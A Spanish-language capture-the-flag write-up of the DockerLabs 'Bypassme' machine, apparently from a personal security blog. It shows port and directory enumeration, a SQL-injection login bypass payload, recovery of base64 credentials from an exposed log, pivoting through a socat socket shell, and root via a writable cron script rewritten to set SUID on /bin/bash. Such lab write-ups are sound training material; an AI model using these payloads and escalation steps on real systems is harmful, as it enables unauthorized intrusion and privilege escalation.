Post

DockerLabs - Bypassme

DockerLabs - Bypassme

nmap

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Bypassme]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Bypassme]
└─$ nmap -sCV -p22,80 172.17.0.2                                  
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b4:a8:42:e7:2b:2f:7a:f9:50:bd:6d:31:8e:36:54:7b (ECDSA)
|_  256 c0:ff:28:31:a3:0b:1a:3d:c3:5f:83:1b:3c:44:28:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-title: Login Panel
|_Requested resource was login.php
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)

análisis

Lo primero que hacemos es buscar con gobuster recursos del sistema:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Bypassme]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.txt,.html 
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/welcome.php          (Status: 302) [Size: 0] [--> index.php]
/index.php            (Status: 302) [Size: 0] [--> login.php]
/login.php            (Status: 200) [Size: 1826]
/logs                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================

Nos encontramos un panel de login en login.php:

Desktop View

Probamos inyecciones SQL básicas como ' or '1'='1';-- -:

Desktop View

Y vemos que logramos acceder:

Desktop View

Vemos múltiples avisos que mencionan la existencia de un fichero log que se encuentra disponible:

Desktop View

acceso inicial (albert)

Tratamos de ver si el fichero logs.txt se encuentra en alguna carpeta que podamos listar (empleando gobuster), y pasado un rato, nos indica que se encuentra en la carpeta logs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Bypassme]
└─$ wfuzz -c --hw=6 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Cookie: PHPSESSID=3kvtfmosnk3nntrk4527e8euvv" -L -u "http://172.17.0.2/index.php?page=FUZZ/logs.txt"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz´s documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/index.php?page=FUZZ/logs.txt
Total requests: 220559

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                
=====================================================================

000002271:   200        28 L     188 W      1639 Ch     "logs"

Listamos el contenido del fichero logs.txt, donde encontramos múltiples credenciales:

Desktop View

Dado que las credenciales parecen codificadas en base64, procedemos a decodificarlas:

1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Bypassme]
└─$ echo "N***********" | base64 -d; echo
4********

Probamos a ver si las credenciales decodificadas son válidas, pero nos daremos cuenta de que ninguna es válida.

Otra opción es que la contraseña de SSH sea la misma, pero codificada en base64, y resulta ser que esa es la respuesta en este caso:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Bypassme]
└─$ ssh albert@172.17.0.2
albert@172.17.0.2`s password: 
albert@d14f6a23086d:~$ whoami
albert
albert@d14f6a23086d:~$ hostname -I
172.17.0.2

movimiento lateral (conx)

Una vez dentro, revisamos los usuarios que tengan una consola asignada en /etc/passwd:

1
2
3
4
albert@d14f6a23086d:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
albert:x:1001:1001::/home/albert:/bin/bash
conx:x:1002:1002::/home/conx:/bin/bash

Revisamos también todos los procesos existentes con ps, donde encontramos que hay un socket abierto en /home/conx/.cache/.sock:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
albert@d14f6a23086d:~$ ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   4324  3128 ?        Ss   05:20   0:00 /bin/bash /etc/.start_services
root          24  0.0  0.1 203464 21720 ?        Ss   05:20   0:07 /usr/sbin/apache2 -k start
root          44  0.0  0.0  12020  4064 ?        Ss   05:20   0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
root          50  0.0  0.0   3808  1792 ?        Ss   05:20   0:00 /usr/sbin/cron -P
conx          54  0.0  0.0   9288  3644 ?        S    05:20   0:00 socat UNIX-LISTEN:/home/conx/.cache/.sock,fork EXEC:/bin/bash
root          57  0.0  0.0   2728  1464 ?        S    05:20   0:05 tail -f /dev/null
www-data    3005  0.1  0.1 203964 16248 ?        S    10:50   0:05 /usr/sbin/apache2 -k start
www-data    3016  0.1  0.1 204132 16248 ?        S    10:50   0:05 /usr/sbin/apache2 -k start
www-data    3024  0.1  0.1 204140 16644 ?        S    10:50   0:05 /usr/sbin/apache2 -k start
www-data    3043  0.1  0.1 204132 16632 ?        S    10:51   0:05 /usr/sbin/apache2 -k start
www-data    3350  0.0  0.1 203964 16128 ?        S    11:09   0:00 /usr/sbin/apache2 -k start
www-data    3351  0.0  0.1 204132 16504 ?        S    11:09   0:00 /usr/sbin/apache2 -k start
www-data    3352  0.0  0.1 204132 16504 ?        S    11:09   0:00 /usr/sbin/apache2 -k start
www-data    3354  0.0  0.1 203964 16248 ?        S    11:09   0:00 /usr/sbin/apache2 -k start
www-data    3355  0.0  0.1 204132 16248 ?        S    11:09   0:00 /usr/sbin/apache2 -k start
www-data    3358  0.0  0.1 203964 16092 ?        S    11:09   0:00 /usr/sbin/apache2 -k start
root        3527  0.0  0.0  14432  9808 ?        Ss   11:23   0:00 sshd: albert [priv]
albert      3538  0.6  0.0  14832  6716 ?        S    11:24   0:13 sshd: albert@pts/0
albert      3539  0.0  0.0   5016  4252 pts/0    Ss   11:24   0:00 -bash
albert      3808  0.0  0.0   9288  3692 pts/0    S+   11:45   0:00 socat - UNIX-CONNECT:/home/conx/.cache/.sock
conx        3809  0.0  0.0   9288  1860 ?        S    11:45   0:00 socat UNIX-LISTEN:/home/conx/.cache/.sock,fork EXEC:/bin/bash
conx        3810  0.0  0.0   4752  3240 ?        S    11:45   0:00 /bin/bash
conx        3817  0.0  0.0   3144  1980 ?        S    11:46   0:00 script -c bash /dev/null
conx        3818  0.0  0.0   5016  4000 pts/1    Ss+  11:46   0:00 bash
root        3880  0.3  0.0  14432 10032 ?        Ss   11:55   0:00 sshd: albert [priv]
albert      3891  0.9  0.0  14692  6444 ?        S    11:55   0:00 sshd: albert@pts/2
albert      3892  0.0  0.0   5016  3988 pts/2    Ss   11:55   0:00 -bash
albert      3897 50.0  0.0   9580  4808 pts/2    R+   11:55   0:00 ps -aux

Nos conectamos a él, y obtenemos una consola como el usuario conx:

1
2
3
4
5
6
albert@d14f6a23086d:/tmp$ socat - UNIX-CONNECT:/home/conx/.cache/.sock
script -c bash /dev/null
Script started, output log file is '/dev/null'.
conx@d14f6a23086d:~$ whoami
whoami
conx

Tratamos la TTY para obtener una consola totalmente funcional:

1
2
3
4
5
6
7
8
conx@d14f6a23086d:~$ ^Z
[1]+  Stopped                 socat - UNIX-CONNECT:/home/conx/.cache/.sock
albert@d14f6a23086d:/tmp$ stty raw -echo; fg
socat - UNIX-CONNECT:/home/conx/.cache/.sock
                                            reset xterm
conx@d14f6a23086d:~$ export TERM=xterm
conx@d14f6a23086d:~$ export SHELL=bash
conx@d14f6a23086d:~$ stty rows 48 columns 210

escalada de privilegios (root)

Ahora, buscamos ficheros que podamos leer, y cuyo propietario sea el usuario conx:

1
2
albert@d14f6a23086d:~$ find / -user conx -readable 2>/dev/null | grep -vE '/proc'
/var/backups/backup.sh

Vemos que los permisos del script /var/backups/backup.sh nos permiten modificarlo:

1
2
albert@d14f6a23086d:~$ ls -la /var/backups/backup.sh
-rw-rw-r-- 1 conx root 246 May 22 15:47 /var/backups/backup.sh

El contenido del script es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
albert@d14f6a23086d:~$ cat /var/backups/backup.sh
#!/bin/bash

SRC="/home/conx"
DEST="/var/lib/.snapshots/backup.tar.gz"

echo "[*] Starting backup..."
tar -czf "$DEST" "$SRC" >/dev/null 2>&1
echo "[*] Backup completed at $(date)"

# Dev note: eval $HOOK was added for future hooks
eval "$HOOK"

Continuamos revisando los procesos del sistema, buscando posibles tareas cron desplegadas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
albert@d14f6a23086d:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

CMD: UID=0     PID=57     | tail -f /dev/null 
CMD: UID=1002  PID=54     | socat UNIX-LISTEN:/home/conx/.cache/.sock,fork EXEC:/bin/bash 
CMD: UID=0     PID=50     | /usr/sbin/cron -P 
CMD: UID=0     PID=44     | sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups 
CMD: UID=0     PID=24     | /usr/sbin/apache2 -k start 
CMD: UID=0     PID=1      | /bin/bash /etc/.start_services 
CMD: UID=0     PID=3691   | /usr/sbin/CRON -P 
CMD: UID=0     PID=3692   | /usr/sbin/CRON -P 
CMD: UID=0     PID=3693   | bash /var/backups/backup.sh 
CMD: UID=0     PID=3694   | tar -czf /var/lib/.snapshots/backup.tar.gz /home/conx 
CMD: UID=0     PID=3695   | 
CMD: UID=0     PID=3696   | bash /var/backups/backup.sh 
CMD: UID=0     PID=3699   | /usr/sbin/CRON -P 
CMD: UID=0     PID=3700   | /usr/sbin/CRON -P 
CMD: UID=0     PID=3701   | bash /var/backups/backup.sh 
CMD: UID=0     PID=3702   | tar -czf /var/lib/.snapshots/backup.tar.gz /home/conx 
CMD: UID=0     PID=3703   | tar -czf /var/lib/.snapshots/backup.tar.gz /home/conx 
CMD: UID=0     PID=3704   | bash /var/backups/backup.sh

Vemos que el script que identificamos anteriormente está siendo ejecutado en una tarea cron por el usuario root.

Por ello, lo que haremos será modificarlo para que cambie los permisos del binario /bin/bash, el cual por defecto tiene los siguientes permisos:

1
2
conx@d14f6a23086d:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Modificamos el script con la instrucción que cambia los permisos del binario a SUID:

1
conx@d14f6a23086d:~$ echo "chmod u+s /bin/bash" > /var/backups/backup.sh

Pasado un tiempo, si revisamos sus permisos, veremos que ahora /bin/bash es SUID:

1
2
conx@d14f6a23086d:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Llegados a este punto, procedemos a invocar una consola privilegiada como el usuario root:

1
2
3
conx@d14f6a23086d:~$ bash -p
bash-5.2# whoami
root

De esta manera, habremos conseguido explotar este laboratorio!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.